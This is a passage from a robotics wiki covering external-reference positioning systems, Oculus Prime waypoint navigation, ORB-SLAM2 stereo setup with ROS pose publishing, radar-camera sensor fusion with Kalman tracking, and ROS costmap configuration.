take advantage of external infrastructure to provide a fixed positional reference. This fixed positional reference can mitigate drift or catastrophic localization error for robotic systems where signifacant state estimation errors are disallowed or not preferable. - - -## Common Types of External Referencing Positioning Systems - -### UltraWideband Beacons (UWB) - -UltraWideband is a short-range wireless communication protocol, allowing connected devices to communicate across short ranges, similar to bluetooth. Unlike blueooth, UltraWideband transmits over a wider frequency, allowing for a more precise and wider bandwith of communication, albeit over a shorter range. - -Ultrawideband positioning takes advantage of the communication pulses to sense distances between transmitters through a two-way ranging protocol described in detail [here](https://forum.qorvo.com/uploads/short-url/5yIaZ3A99NNf2uPHsUPjoBLr2Ua.pdf). As a simplification, it is able to measure the time period that messages take to transmit between devices, while accouting for potential clock and frequency shift between devices. - -By using multiple stationary devices, a single or multiple mobile beacons can be tracked by combining ranges through trilateration. - -![Example usage of a DWM1001 setup](/assets/images/state-estimation/decawave_example_multi_anchor.png) -[Source](https://www.researchgate.net/profile/Teijo-Lehtonen/publication/281346001/figure/fig4/AS:284460038803456@1444831966619/DecaWave-UWB-localization-system-SDK-5.png) - -At the time of writing, one of the most common modules for UWB is the DWM1001. Since these modules are mass manufactured, they can be purchased very inexpensively and should be considered one of the most affordable options for positioning systems. - -### Ultrasonic Positioning - -Ultrasonic positioning works in a similar way to UWB, but rather than transitting frequencies at a very high frequency, the products instead rely on a combination of lower frquency communication pulses and beamforming. By using a sensor array on each device, they are able to claim a 2D positioning accuracy of +-2cm. - - -![Example usage of a DWM1001 setup](/assets/images/state-estimation/marvelmind_example.jpg) -[Source](https://marvelmind.com/) - -As an important note, ultrasonic pulses are harmful to human hearing over an extended period of time and should not deployed around humans without ear protection. - -### Robotic Total Stations - -Total stations have an extended heritage in civil engineering, where they have been used to precisely survey worksites since the 1970s. The total station sends beams of light directly to a glass reflective prism, and uses the time-of-flight properties of the beam to measure distances. The robotic total station tracks it's calibration orientaiton to high precision, such that the measured distance can be converted into a high-precision 3D position mesaurement. Total stations, depending on the prism type and other factors, can accurate track with in millimeter range at up to 3.5km. - -![Example usage of a Total Station in the Field](/assets/images/state-estimation/leica_field_image.jpg) -[Source](https://leica-geosystems.com/) - -## Key Factors to Consider - -When considering external referencing positioning systems, it's important to consider the following: - -- What is the environmental conditions? Is the robot running indoors or outdoors? interference) -- Will there be humans in environment -- Will the robot have line-of-sight to the fixed infrastructure? -- What are the accuracy and precision requirements? - - -/wiki/state-estimation/oculus-prime-navigation/ ---- -date: 2017-08-15 -title: Oculus Prime Navigation ---- - -There are multiple techniques to carry out way-point navigation on the Oculus Prime platform using the navigation stack. - -1. **"Pure" ROS:** To set a single goal the pure ROS way, bypassing the use of the oculusprime browser UI altogether, first run: -``` -$ roslaunch oculusprime globalpath_follow.launch -``` -Or try: -``` -$ roslaunch oculusprime remote_nav.launch -``` - - This `globalpath_follow` launch file sets up the basic nodes necessary to have Oculus Prime go where ROS Navigation wants it to go, and launches the rest of the navigation stack. Once it’s running, you can [set initial position and goals graphically using Rviz](http://wiki.ros.org/oculusprime_ros/navigation_rviz_tutorial) - -2. **Via Command Line:** You can also send coordinates via command line (AFTER you set initial position using the web browser or Rviz map). Enter a command similar to: -``` -$ rostopic pub /move_base_simple/goal geometry_msgs/PoseStamped \ -'{ header: { frame_id: "map" }, pose: { position: { x: 4.797, y: 2.962, z: 0 }, orientation: { x: 0, y: 0, z: 0.999961751128, w: -0.00874621528223 } } }' -``` - - Change the coordinates shown to match where your goal is. An easy way to find goal coordinates is to set the goal on the map with a mouse, and while the robot is driving there, enter: -``` -$ rostopic echo /move_base/current_goal -``` - - An example of doing this via a python ROS node, starting with simpler coordinates (x,y,th), can be found [here](https://gist.github.com/xaxxontech/6cbfefd38208b9f8b153). - -3. **Waypoints:** If you want to choose from a list of waypoints instead, you can use the functionality built into the oculusprime server and do it via oculusprime commands: - - First read the waypoints: -``` -state rosmapwaypoints -``` - - This should return a long comma-separated string with no spaces using the format "name,x,y,th," for all the waypoints, similar to ` waypointA, 4.387, -0.858, -0.3218, waypointB, 2.081, 2.739, -1.5103`. - - Change the coordinates of the particular waypoint you want to change within the string, then send the whole string to the savewaypoints command, eg: -Advanced -> telnet text command -> enter command: -``` -savewaypoints waypointA,5.456,-2.345,-0.3218,waypointB,2.081,2.739,-1.5103 -``` - - Then drive to the new coordinates by sending: -``` -gotowaypoint waypointA -``` - - -/wiki/state-estimation/orb-slam2-setup/ ---- -date: 2019-05-07 -title: ORB SLAM2 Setup Guidance ---- -This tutorial will help you in setting up the ORB SLAM2 on SBC. We will start with the installation procedure for the stereo mode and then we will discuss the changes required in the stereo camera's yaml configuration file. Since the ORB SLAM2 code doesn't publish pose output, we have added a separate section which explains how to add the ROS publisher support for the stereo mode. - -# Table of Contents -1. [Introduction](#Introduction) -2. [Installation for stereo mode](#Installation-for-stereo-mode) -3. [Setting up yaml configuration file](#Setting-up-yaml-configuration-file) -4. [Adding ROS publisher support for the stereo mode](#Adding-ROS-publisher-support-for-the-stereo-mode) -5. [References](#References) - -## Introduction -ORB-SLAM2 is a SLAM library for Monocular and Stereo cameras that computes the camera trajectory and a sparse 3D reconstruction. It is a feature-based SLAM method which has three major components: tracking, local mapping and loop closing. This [link](https://medium.com/@j.zijlmans/lsd-slam-vs-orb-slam2-a-literature-based-comparison-20732df431d) nicely explains all the components of ORB SLAM2 technique in detail. Also, it briefly discusses the different part of ORB SLAM2 code and explains how changing the different parameters in different modules like local mapping, loop-closure, ORBextractor, etc. will affect the performance of ORB SLAM2. - -## Installation for stereo mode -ORB-SLAM2 has multiple dependencies on other ROS libraries which includes Pangolin, OpenCV, Eigen3, DBoW2, and g2o. **[Pangolin](https://github.com/stevenlovegrove/Pangolin)** library is used for the visualization and user interface.**[OpenCV](https://docs.opencv.org/3.4.3/d7/d9f/tutorial_linux_install.html)** is used for image manipulation and feature extraction. **[Eigen3](http://eigen.tuxfamily.org)** library is used for performing mathematical operations on the Matrices. Finally, **[DBoW2](https://github.com/dorian3d/DBoW2)** is an improved version of the DBow library, for indexing and converting images into a bag-of-word representation. It implements a hierarchical tree for approximating nearest neighbors in the image feature space and creates a visual vocabulary. It also implements an image database with inverted and direct files to index images and enables quick queries and feature comparisons. **[G2o](https://github.com/RainerKuemmerle/g2o)** is C++ library for optimizing graph-based nonlinear error functions. This helps in solving the global BA problem in ORB-SLAM2.
-Now we will discuss the installation steps, First, clone the below repository: -``` -git clone https://github.com/raulmur/ORB_SLAM2.git ORB_SLAM2 -``` -Then execute following set of commands to build the library: -``` -cd ORB_SLAM2 -chmod +x build.sh -./build.sh -``` -Even after installing above dependencies, if you face compilation error related to boost system, you need to install boost libraries and set the path to where you installed it in the makefile. This path should have the include/ and lib/ folders with header files and compiled .so binaries. - -``` -${PROJECT_SOURCE_DIR}/../../../Thirdparty/DBoW2/lib/libDBoW2.so -${PROJECT_SOURCE_DIR}/../../../Thirdparty/g2o/lib/libg2o.so -${PROJECT_SOURCE_DIR}/../../../lib/libORB_SLAM2.so --lboost_system -) -``` -To build the stereo node, add the path including Examples/ROS/ORB_SLAM2 to the ROS_PACKAGE_PATH environment variable. Replace PATH by the folder where you cloned ORB_SLAM2 and then execute the build_ros script. -``` -export ROS_PACKAGE_PATH=${ROS_PACKAGE_PATH}:PATH/ORB_SLAM2/Examples/ROS -chmod +x build_ros.sh -./build_ros.sh -``` -For a stereo input from topic /camera/left/image_raw and /camera/right/image_raw, we need to remap the left and right camera frame output to the ORB-SLAM2 input ROS topic. A sample roslaunch doing the ROS topic remapping is shown below. -``` - - - - - - - -``` -``` -roslaunch ORB_SLAM2 -``` -Above launch file also runs the ORB_SLAM2/Stereo node. You will need to provide the vocabulary file and a yaml settings file to run the Stereo node. Just use the same Vocabulary file because it's taken from a huge set of data and works pretty good. All the popular stereo cameras like ZED, Intel Realsense, Asus Xtion Pro provides the pre-rectified images. So, if you are using one of those cameras, you don't need to provide rectification matrices else you need to add rectification matrices in the yaml configuration file (sample matrices are shown in next section). - -## Setting up yaml configuration file -As mentioned in the previous section that the Stereo node command takes a yaml configuration file as input. This yaml configuration file includes the stereo camera calibration parameters, ORB parameters, rectification matrices if the images are not pre-rectified.
-Below is a sample yaml file settings for our calibrated stereo camera (ZED). Camera calibration and distortion parameters can be found from the intrinsic calibration matrix. Other parameters like width, height, fps depend on the resolution of your camera. -``` -# Camera calibration and distortion parameters (OpenCV) -Camera.fx: 435.2046959714599 -Camera.fy: 435.2046959714599 -Camera.cx: 367.4517211914062 -Camera.cy: 252.2008514404297 - -Camera.k1: 0.0 -Camera.k2: 0.0 -Camera.p1: 0.0 -Camera.p2: 0.0 - -Camera.width: 640 -Camera.height: 480 - -# Camera frames per second -Camera.fps: 20.0 - -# stereo baseline times fx -Camera.bf: 47.90639384423901 - -# Color order of the images (0: BGR, 1: RGB. It is ignored if images are grayscale) -Camera.RGB: 1 - -# Close/Far threshold. Baseline times. -ThDepth: 35 -``` -When number of features in the environment is less, the keyframes will not get initialized and system will not go in SLAM/Localization mode. So, tweak below parameters to improve the performance of the ORB SLAM2. -``` -#-------------------------------------------------------------------------------------------- -# ORB Parameters -#-------------------------------------------------------------------------------------------- - -# ORB Extractor: Number of features per image -ORBextractor.nFeatures: 1200 - -# ORB Extractor: Scale factor between levels in the scale pyramid -ORBextractor.scaleFactor: 1.2 - -# ORB Extractor: Number of levels in the scale pyramid -ORBextractor.nLevels: 8 - -# ORB Extractor: Fast threshold -# Image is divided in a grid. At each cell FAST are extracted imposing a minimum response. -# Firstly we impose iniThFAST. If no corners are detected we impose a lower value minThFAST -# You can lower these values if your images have low contrast -ORBextractor.iniThFAST: 20 -ORBextractor.minThFAST: 7 -``` -Below is the sample of rectification matrices. -``` -#-------------------------------------------------------------------------------------------- -# Stereo Rectification. Only if you need to pre-rectify the images. -# Camera.fx, .fy, etc must be the same as in LEFT.P -#-------------------------------------------------------------------------------------------- -# LEFT.height: 720 -# LEFT.width: 1280 -# LEFT.D: !!opencv-matrix -# rows: 1 -# cols: 5 -# dt: d -# data:[-0.28340811, 0.07395907, 0.00019359, 1.76187114e-05, 0.0] -# LEFT.K: !!opencv-matrix -# rows: 3 -# cols: 3 -# dt: d -# data: [458.654, 0.0, 367.215, 0.0, 457.296, 248.375, 0.0, 0.0, 1.0] -# LEFT.R: !!opencv-matrix -# rows: 3 -# cols: 3 -# dt: d -# data: [0.999966347530033, -0.001422739138722922, 0.008079580483432283, 0.001365741834644127, 0.9999741760894847, 0.007055629199258132, -0.008089410156878961, -0.007044357138835809, 0.9999424675829176] -# LEFT.P: !!opencv-matrix -# rows: 3 -# cols: 4 -# dt: d -# data: [435.2046959714599, 0, 367.4517211914062, 0, 0, 435.2046959714599, 252.2008514404297, 0, 0, 0, 1, 0] - -# RIGHT.height: 720 -# RIGHT.width: 1280 -# RIGHT.D: !!opencv-matrix -# rows: 1 -# cols: 5 -# dt: d -# data:[-0.28368365, 0.07451284, -0.00010473, -3.555907e-05, 0.0] -# RIGHT.K: !!opencv-matrix -# rows: 3 -# cols: 3 -# dt: d -# data: [457.587, 0.0, 379.999, 0.0, 456.134, 255.238, 0.0, 0.0, 1] -# RIGHT.R: !!opencv-matrix -# rows: 3 -# cols: 3 -# dt: d -# data: [0.9999633526194376, -0.003625811871560086, 0.007755443660172947, 0.003680398547259526, 0.9999684752771629, -0.007035845251224894, -0.007729688520722713, 0.007064130529506649, 0.999945173484644] -# RIGHT.P: !!opencv-matrix -# rows: 3 -# cols: 4 -# dt: d -# data: [435.2046959714599, 0, 367.4517211914062, -47.90639384423901, 0, 435.2046959714599, 252.2008514404297, 0, 0, 0, 1, 0] - -``` - -## Adding ROS publisher support for the stereo mode -ROS interface for the ORB SLAM2 is present in the below folder. So, all the changes discussed here will be done in the ros_stereo.cc file. -``` -ORB_SLAM2/Examples/ROS/ORB_SLAM2/src/ros_stereo.cc -``` -Firstly, we need to add below header files for using geometric ROS messages (PoseStamped, Point) and the TransformBroadcaster. Two boolean variables are added in the ImageGrabber class for publishing pose and broadcasting transform. -``` -#include -#include -#include -#include -#include - -class ImageGrabber -{ - public: - ImageGrabber(ORB_SLAM2::System* pSLAM):mpSLAM(pSLAM){} - - - ORB_SLAM2::System* mpSLAM; - bool do_rectify, pub_tf, pub_pose; - cv::Mat M1l,M2l,M1r,M2r; - ros::Publisher* orb_pub; - - void GrabStereo(const sensor_msgs::ImageConstPtr& msgLeft,const sensor_msgs::ImageConstPtr& msgRight); - void SetPub(ros::Publisher* pub); - -}; - -``` -Below advertise() function returns a ros::Publisher object, which contains a publish() method that lets you publish geometric messages onto the "orb_pose" ROS topic and the function below initializes the ORB publisher. -``` -ros::Publisher pose_pub = nh.advertise("orb_pose", 100); -igb.SetPub(&pose_pub); -``` - -``` -void ImageGrabber::SetPub(ros::Publisher* pub) -{ - orb_pub = pub; -} -``` -Now, Rotation and Translation matrices (R_,t_) are initialized for storing the output pose. T_ stores the output pose from the ORB SLAM2. -``` -cv::Mat T_,R_,t_; -T_ = mpSLAM->TrackStereo(cv_ptrLeft->image,cv_ptrRight->image,cv_ptrLeft->header.stamp.toSec()); - -if (T_.empty()) -return; -``` -Now you can use ROS tf library to get the quaternion and position information from the transformation matrix. Then, these position elements and the rotation elements are set in the tf (transform). -``` -if (pub_tf || pub_pose) -{ - R_ = T_.rowRange(0,3).colRange(0,3).t(); - t_ = -R_*T_.rowRange(0,3).col(3); - vector q = ORB_SLAM2::Converter::toQuaternion(R_); - float scale_factor=1.0; - tf::Transform transform; - transform.setOrigin(tf::Vector3(t_.at(0, 0)*scale_factor, t_.at(0, 1)*scale_factor, t_.at(0, 2)*scale_factor)); - tf::Quaternion tf_quaternion(q[0], q[1], q[2], q[3]); - transform.setRotation(tf_quaternion); -} -``` -Below piece of code sends the transform with a TransformBroadcaster. In the first argument, we pass in the transform itself. -In second argument, we need to give the transform being published a timestamp, we will just use the timestamp when the camera image is published. Then, we need to pass the name of the parent frame of the link we're creating, in this case "world". Finally, we need to pass the name of the child frame of the link we're creating, in this case we have defined it as "ORB_SLAM2_STEREO". -``` -if (pub_tf) -{ - static tf::TransformBroadcaster br_; - br_.sendTransform(tf::StampedTransform(transform, ros::Time(cv_ptrLeft->header.stamp.toSec()), "world", "ORB_SLAM2_STEREO")); -} -``` -Below piece of code publishes the pose output. Here also we will use the timestamp when the camera image is published. We will define this frame as "ORB_SLAM2_STEREO". Finally, we need to convert the pose transform to ROS pose message before publishing. -``` -if (pub_pose) -{ - geometry_msgs::PoseStamped pose; - pose.header.stamp = cv_ptrLeft->header.stamp; - pose.header.frame_id ="ORB_SLAM2_STEREO"; - tf::poseTFToMsg(transform, pose.pose); - orb_pub->publish(pose); -} -``` - -## References -This is the official [github repository](https://github.com/raulmur/ORB_SLAM2) of the ORB SLAM2. - - -/wiki/state-estimation/radar-camera-sensor-fusion/ ---- -date: 2019-11-13 -title: 'Sensor Fusion and Tracking' -published: true ---- -Fusing data from multiple sensor is an integral part of the perception system of robots and especially Autonomous Vehicles. The fusion becomes specially useful when the data coming from the different sensors gives complementary information. In this tutorial we give an introduction to Radar-Camera sensor fusion for tracking oncoming vehicles. A camera is helpful in detection of vehicles in the short range, however recovering the 3D velocity of the vehicles solely based on vision is very challenging and inaccurate, especially for long-range detection. This is where the RADAR comes into play. RADAR is excellent for determining the speed of oncoming vehicles and operation in adverse weather and lighting conditions, whereas the camera provides rich visual features required for object classification. - -The position and velocity estimates are improved through the fusion of RADAR and camera data. We will first go through the details regarding the data obtained and the processing required for the individual sensors and then go through sensor fusion and tracking algorithm details. - -## Camera -This section will explain how you use the information from a camera to estimate the rough position of a object in the world. The method described below makes an assumption that ego vehicle or a robot with the camera mounted and the other objects that we would like to track are all on the same plane in the world. - -### Object Detection -The first step is to detect 2D bounding boxes of the object you want to track. State-of-the-art techniques for object detection that run in real-time are deep learning based single shot detector models such as SSD or YOLOv3. You can read more about single shot detectors [here](https://leonardoaraujosantos.gitbooks.io/artificial-inteligence/content/single-shot-detectors.html). This tutorial uses the YOLOv3 model for object detection. [This](https://github.com/AlexeyAB/darknet) fork of the original implementation is recommended as it has additional optimizations for real-time inference. - -Clone the repository and build the framework on your system. - -``` -git clone https://github.com/AlexeyAB/darknet -cd darknet -make -``` - -Refer to `README` in the repository for more instructions on how to build Darknet for different platforms. Make sure you select the correct GPU architecture in the `Makefile`. Additionally, you can set build flags such as `CUDNN_HALF=1` to accelerate training and inference. - -The repository also provides a Python API (`darknet_video.py`) to load the YOLOv3 model for inference using an OpenCV image as the input and return a list of bounding box detections. The detections contain the following data. - -``` -[class_label confidence x y h w] -``` - -You could also use any other technique for object detection and get a similar list of detections. - -### Object Tracking in Images -Although the goal of camera based perception is to only estimate a position of the object, you can also track the bounding boxes in the image as well to better associate the detection later in sensor fusion and the main tracker. This step is optional and can be skipped. - -A popular approach or technique for real-time tracking is [SORT](https://arxiv.org/abs/1602.00763) (Simple Online and Real-Time Tracking). It follows a tracking-by-detection framework for the problem of multiple object tracking (MOT) where objects are detected in each frame and represented as bounding boxes. SORT makes use of Kalman filter to predict the state of the bounding box in the next frame. This helps keep track of the vehicles even if the bounding box detections are missed over few frames. - -The official implementation [here](https://github.com/abewley/sort) is recommended. Follow the instructions in the `README` of this repository to setup SORT. Below is the gist of how to instantiate and update SORT. - -``` -from sort import * - -#create instance of SORT -mot_tracker = Sort() - -# get detections -... - -# update SORT -track_bbs_ids = mot_tracker.update(detections) - -# track_bbs_ids is a np array where each row contains a valid bounding box and track_id (last column) -... -``` - -![SORT Tracker](/assets/images/state-estimation/sort-tracker.jpg) - -### Inverse Perspective Mapping -Inverse Perspective Mapping is basically a perspective transformation or a homography between two planes in the world. The idea here is to project the camera view (image plane) on to the ground plane in the world to obtain a birds-eye-view of the scene. One way to do this is to directly pick a set of points (minimum 4) in the image corresponding to a rectangular region on the ground plane and then estimate the homography matrix. - -In order to estimate the homography, you need a set of correspondences. You need a reference object lying flat on the world ground plane (any rectangular shaped board would do). Measure the location of the corner points of the board in the world frame and log the projection of these point on the image plane as well. You can use OpenCV's `cv2.getPerspectiveTransform` to feed in the corresponding points and obtain the homography. - -Once the homography is known, pick the bottom center of all the bounding boxes, as this point most closely represents the point on the ground plane, and apply the homography to this image point to obtain an estimate of location in the world frame. - -![IPM Calibration](/assets/images/state-estimation/ipm_two.png) - -There are many pitfalls and assumptions in this technique. As mentioned earlier, the objects to detect must lie on the same ground plane and the relative distance of the camera sensor and orientation with respect to the ground plane must remain constant. If the bounding box detection is inaccurate, a small deviation in the image point might lead to a significant error in the estimated position in the world frame. - -You can also model the uncertainty in the position estimate to generate an occupancy grid with the mean and covariance of the position of the object. We will later see how to fuse these estimates with another sensor modality such as a Radar to refine our estimate and track these detections as well. - -![Occupancy Grid Gaussian](/assets/images/state-estimation/occupancy-grid.png) - -#### Camera Output -Camera returns two states for every detections. According to our current camera configuration, state (Ego vehicle frame) of the detections are given as: -- Position in x direction -- Position in y direction -To make things clear, we consider these x and y directions in birds eye view of the ego vehicle frame, where x represents how far the detection is in longitudinal direction and y represents the offset of the detection in lateral direction. - -## Radar -Radar is becoming an important automotive technology. Automotive radar systems are the primary sensor used in adaptive cruise control and are a critical sensor system in autonomous driving assistance systems (ADAS). In this tutorial it is assumed that the radar internally filters the raw sensor data and gives the final positions and velocities of the vehicles within the field of view. This is a reasonable assumption since most of the automotive grade radars already do such filtering and tracking and return the tracked vehicle estimate in the Cartesian coordinates. - -#### Radar Output -Radar provides four states for every detections, moreover depending on the use case there could be multiple detections. According to our current Radar configuration, state (Ego vehicle frame) of the detections are given as: -- Position in x direction -- Position in y direction -- Velocity in x direction -- Velocity in y direction - -Following is the result of camera detection and estimated position in the 3D world. The detection was performed on image stream from Carla simulator and the results are visualized in Rviz. The blue cubes represent estimates from camera and red cubes are the Radar detections. - -![Occupancy Grid](/assets/images/state-estimation/camera-radar-targets.png) - -## Tracker Framework -The framework has the following major components: -- Data Association - Sensor Measurements -- Sensor Fusion - Kalman Filter -- Track Updates -- Motion Compensation of Tracks -- Track Association -- Tracker Evaluation and Metrics - -### Data Association - Sensor Measurements -Tracker gets an array of detections from camera and Radar for every frame. First of all the data needs to be linked to the corresponding detections in both (all) the sensors. This is done by computing a distance cost volume for each detection from one sensor with each detection from another sensor. Scipy library provides good resources for computing such functions in Python. Then you need to use a minimization optimization function to associate detections such that overall cost (Euclidean distance) summed up over the entire detections is minimized. For doing that, Hungarian data association rule is used. It matches the minimum weight in a bipartite graph. Scipy library provides good functionality for this as well. - -### Tracker - Kalman Filter -Kalman Filter is an optimal filtering and estimation technique which uses a series of measurements (with noise) over time to estimate the unknown variables which tend to be more accurate than the individual estimates. It is widely used concept in a variety of fields ranging from state estimation to optimal controls and motion planning. The algorithm works as a two step process which are as follows: -- Prediction Step -- Measurement Step - -In our case we use Kalman Filter to estimate states of the vehicles in the environment using data from Radar and Camera. The states consist of the position and velocity of the vehicle, which are provided by the tracker in the form of measurement. - -#### Prediction Step -Prediction step is the step where we will estimate the state of the vehicle in the next timestep using data we have currently and a motion model. We chose to use a constant velocity (CV) motion model for prediction. This model considers the vehicle as a point object which can move at a constant velocity in the x and y direction. This is not the best model to represent the dynamics of a vehicle but since we dont have information about the steering or throttle data of the vehicle, we will have to be satisfied with this. When we predict the future state, we also need to estimate the noise that might have propped up in the system due to a variety of reasons. This noise is called the process noise and we assume that it is dependant on the motion model and the timestep. This [link](https://github.com/balzer82/Kalman/blob/master/Kalman-Filter-CV.ipynb?create=1) gives a good idea about the CV motion model and the process noise associated with it. - -The pseudo-code for the prediction step is -``` -def predict(): - predicted_state = transition_matrix * old_state - predicted_covariance = transition_matrix' * old_covariance * transition_matrix + process_noise - -``` - -#### Measurement Step -Our measurement step is actually divided into two parts, one for the camera measurement and the other for the radar measurement. While updating the states of the filter we need to be sure that the timestep of the measurement and the predictions match. The update step is much more complicated and - -The pseudo-code for the prediction step is -``` -def update(): - residual = sensor_measurement - measurement_function * predicted_state - projected_covariance = measurement_function * predicted_covariance * measurement_function + sensor_noise - kalman_gain = measurement_function' * projected_covariance * - new_state = predicted_state + kalman_gain * residual - new_covariance = (identity - kalman_gain * measurement_function) * projected_covariance - -``` - -### Track Updates -This is the most important step in the framework. Here you need to specify the time steps length for which the tracklets will be continued to be predicted (continue predicting the state of the track) even though the vehicle was not detected in a continuous set of frames. Another tuning parameter is how long you want to continuously detect the object through sensors to confirm that the object is a valid track. - -Here you need to define the misses (age of non-matched detections) for each measurement. The point of this parameter is that you will increment this age if that corresponding state (to that track) is not observed through sensors. Once any of the state from detections from sensors is able to associate with the prediction produced by the tracks then we again set back that track parameter to 0. - -### Motion Compensation of Tracks -This block basically transforms all the track predictions at a timestep by the ego vehicle motion. This is an important block because the prediction (based on a vehicle motion model) is computed in the ego vehicle frame at the previous timestep. If the ego vehicle was static, the new sensor measurements could easily be associated with the predictions, but this would fail if the ego vehicle moved from its previous position. This is the reason why we need to compensate all the predictions by ego motion first, before moving on to data association with the new measurements. The equations for ego motion compensation are shown below. - -\\[\left[ \begin{array} { c } { X _ { t + 1 } } \\\ { Y _ { t + 1 } } \\\ { 1 } \end{array} \right] = \left[ \begin{array} { c c c } { \cos ( \omega d t ) } & { \sin ( \omega d t ) } & { - v _ { x } d t } \\\ { - \sin ( \omega d t ) } & { \cos ( \omega d t ) } & { - v _ { y } d t } \\\ { 0 } & { 0 } & { 1 } \end{array} \right] \left[ \begin{array} { c } { X _ { t } } \\\ { Y _ { t } } \\\ { 1 } \end{array} \right]\\] - -### Track Association -Once you have the motion compensated tracks, you need to follow the same algorithm to associate new tracks with existing tracks. To give some intuition, here you are matching the predicted state in the last time for every track with the measurements of the current timestep. - - -#### Final Results of Tracking and Sensor Fusion -![Tracker Results](/assets/images/state-estimation/Tracker-01.PNG) ![Tracker Results](/assets/images/state-estimation/Tracker-02.PNG) - - -### Tracker Evaluation and Metrics -The most widely used metrics for validation are MOTA (Multi-object tracking accuracy) and MOTP (Multi-object tracking precision). MOTP is the total error in estimated position for matched object-hypothesis pairs over all frames, averaged by the total number of matches made. It shows the ability of the tracker to estimate precise object positions, independent of its skill at recognizing object configurations, keeping consistent trajectories, and so forth. The MOTA accounts for all object configuration errors made by the tracker, false positives, misses, mismatches, over all frames. - -To evaluate your tracker, you can use the [`motmetrics`](https://github.com/cheind/py-motmetrics) Python library. - -``` -pip install motmetrics -``` - -At every frame instance, you need the ground truth position and track ID along with the predicted detection and track ID. Use the accumulator to record all the events and you can generate a summary and list the metrics and the end of the sequence. Refer to the README [here](https://github.com/cheind/py-motmetrics) for details on how to use this library. Following is an example of the results summary generated. - -``` - IDF1 IDP IDR Rcll Prcn GT MT PT ML FP FN IDs FM MOTA MOTP -seq1 83.3% 83.3% 83.3% 83.3% 83.3% 2 1 1 0 1 1 1 1 50.0% 0.340 -seq2 75.0% 75.0% 75.0% 75.0% 75.0% 2 1 1 0 1 1 0 0 50.0% 0.167 - -``` - -## See Also: -- [Delphi ESR Radar](https://github.com/deltaautonomy/roboticsknowledgebase.github.io/blob/master/wiki/sensing/delphi-esr-radar.md) - -## Further Reading -- [Single Shot Object Detectors](https://leonardoaraujosantos.gitbooks.io/artificial-inteligence/content/single-shot-detectors.html) -- [YOLOv3 Implementation](https://github.com/pjreddie/darknet) -- [SORT Tracker Repository](https://github.com/abewley/sort) -- [Kalman Filter in Python](https://github.com/balzer82/Kalman) - - -/wiki/state-estimation/ros-cost-maps/ ---- -date: 2017-08-15 -title: Cost Maps in ROS ---- -## Package to Use -- ROS Package: http://wiki.ros.org/costmap_2d -- Git Code: https://github.com/ros-planning/navigation/tree/jade-devel/costmap_2d - -## When to use this: -You should use this package whenever you want to create a costmap for your robot to navigate through. This package has the ability to use depth sensor information in order to create a costmap with information about obstacles in the map. You can also enter your own cost information in order to specify areas of your map where the robot should not go. - -## ROS Interface -The main interface to `costmap_2d` is the object `costmap_2d::Costmap2DROS`. This maintains much of the ROS related functionality and contains `costmap_2d::LayeredCostmap` to keep track of each of the layers. Each layer is instantiated in the Costmap2DROS library using [pluginlib](http://wiki.ros.org/pluginlib) and is added to the `LayeredCostmap`. Layers themselves can be compiled individually, allowing arbitrary changes to the costmap made through the interface `costmap_2d::Costmap2D`. - -## Transforms -In order to insert data from sensor sources into the costmap, the object is highly dependent on the [tf package](http://wiki.ros.org/tf) in ROS. This assumes that all transforms between the coordinate frames specified by the `global_frame`, `robot_base_frame`, and sensor sources are connected and up-to-date. - -## Subscribed Topics -- `geometry_msgs/Polygon` specification of the footprint of the robot. - -## Published Topics -- `nav_msgs/OccupancyGrid` values in the costmap. -- `map_msgs/OccupancyGridUpdate` values of the updated area of the costmap -- `costmap_2d/VoxelGrid` optionally advertised when the underlying occupancy grid uses voxels and the user requests the voxel grid to be published. - -## Map Updates -### Updates -The costmap update cycles at the rate specified by the update_frequency parameter. -Each update, the costmap will mark and clear objects. -Costmap automatically subscribes to sensor topics over ROS and updates itself accordingly. -Each sensor is used to: -1. **Mark:** Insert obstacle information into costmap - - A marking operation is just an index into an array to change the cost of a cell -2. **Clear:** Remove obstacle information from the costmap - - Raytracing through a grid from the origin to the sensor outwards for each observation reported -3. Both mark and clear - -If a 3D structure is used to store obstacle information, obstacle information from each column is projected down into 2D when put into the costmap - -### Update Structure -Underlying structure is capable of representing only three different values with each status having a special cost value assigned to it upon projection into costmap: -- Free: `costmap_2d::FREE_SPACE` - - Columns that have not reached the unknown_threshold parameter are assigned a cost: -- Occupied: `costmap_2d::LETHAL_OBSTACLE` - - Columns that have a certain number of occupied cells (`mark_threshold` parameter) -- Unknown: `costmap_2d::NO_INFORMATION` - - Columns that have a certain number of unknown cells (`unknown_threshold` parameter) - -## Inflation -Process of propagating cost values from the occupied cells that decrease with distance. -There are five symbols for costmap values defined: -1. **Lethal:** If robot's center were in that cell, the robot would collide with obstacle -2. **Inscribed:** an occupied cell is less than the inscribed radius away from an actual obstacle. -3. **Possibly Circumscribed:** Similiar to **inscribed**, but uses the robot's circumscribed radius as cutoff distance. Could not really be an obstacle cell, but some user-preference that puts a particular cost value into the map. -4. **Freespace:** Assumed to be zero. -5. **Unknown:** No information about cell. - -## Setting up the Robot -The following tutorial uses a Quadrotor with RGB-D Sensor as the base platform. The navigation stack has a tutorial for setting up a robot. This tutorial can be found at [Robot Setup Tutorial](http://wiki.ros.org/navigation/Tutorials/RobotSetup). -Here is the setup: - -Quadrotor (`base_link`): [3DR Iris+](https://store.3dr.com/products/IRIS) -![3DR Iris+](/assets/images/ROSCostMaps-90ce8.png) - -Depth Sensor (`camera_link`): [Xtion Pro Live](https://www.asus.com/us/3D-Sensor/Xtion_PRO_LIVE/) -![Xtion Pro Live](/assets/images/ROSCostMaps-fad65.png) - -### Setup of the camera -The Xtion Pro Live is a sensor made by Asus. It is a structured light stereo camera that is able to generate 3D point clouds indoors. If you want to read more about structured light cameras, here is a link to [the Wikipedia page](https://en.wikipedia.org/wiki/Structured-light_3D_scanner). [This paper](http://fofi.pagesperso-orange.fr/Downloads/Fofi_EI2004.pdf) that covers the general methods of structured light cameras. The Asus Xtion Pro Live is able to provide RGB and depth data. This data needs to be manipulated by a package that is able to handle point cloud information. OpenNI is a convenient package that is able to handle complicated camera sensor data and suited for this purpose. - -The command to download OpenNI binaries to Ubuntu the command in the command line is: -``` -$ sudo apt-get install ros-indigo-openni2-launch -``` - -This will download a package that is able to communicate camera information through ROS. The OpenNI package documentation can be found [here](http://wiki.ros.org/openni_launch). Once the camera has been setup, you can get the camera information with the following ROS command: -``` -$ roslaunch openni2_launch openni2.launch depth_registration:=true -``` - -This command runs the `openni2.launch` file. In order to get the depth information, we need to have the depth information published. This is where the `depth_registration:=true` command comes in. `depth_registration` allows to have more consistent depth information published. It publishes them on a separate ROS topic. - -### Setup the Transforms -The navigation stack requires two very important things: -1. A point 